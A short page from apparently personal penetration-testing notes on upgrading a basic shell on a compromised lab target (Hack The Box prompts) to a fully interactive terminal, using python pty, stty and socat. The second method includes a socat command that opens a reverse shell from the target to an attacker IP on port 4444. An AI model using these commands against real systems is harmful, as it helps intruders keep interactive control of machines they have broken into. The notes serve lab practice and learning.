> For the complete documentation index, see [llms.txt](https://intrusionz3r0.gitbook.io/intrusionz3r0/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://intrusionz3r0.gitbook.io/intrusionz3r0/linux-penetration-testing/upgrading-tty.md).

# Upgrading TTY

**Source**: <https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/>

**Method #1**

```bash
target@htb[/htb]$ script /dev/null -c bash
target@htb[/htb]$ python3 -c 'import pty;pty.spawn("/bin/bash")'
Ctrl+z
Intrusionz3r0@htb[/htb]$ stty raw -echo;fg
reset
xterm
target@htb[/htb]$ export TERM=xterm
target@htb[/htb]$ export SHELL=bash

```

Now we have to set the right terminal size

```jsx
Intrusionz3r0@htb[/htb]$ stty -a
target@htb[/htb]$ stty rows NUM columns NUM

```

**Method #2**

```bash
Intrusionz3r0@htb[/htb]$ socat file:`tty`,raw,echo=0 tcp-listen:4444
target@htb[/htb]$ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
```
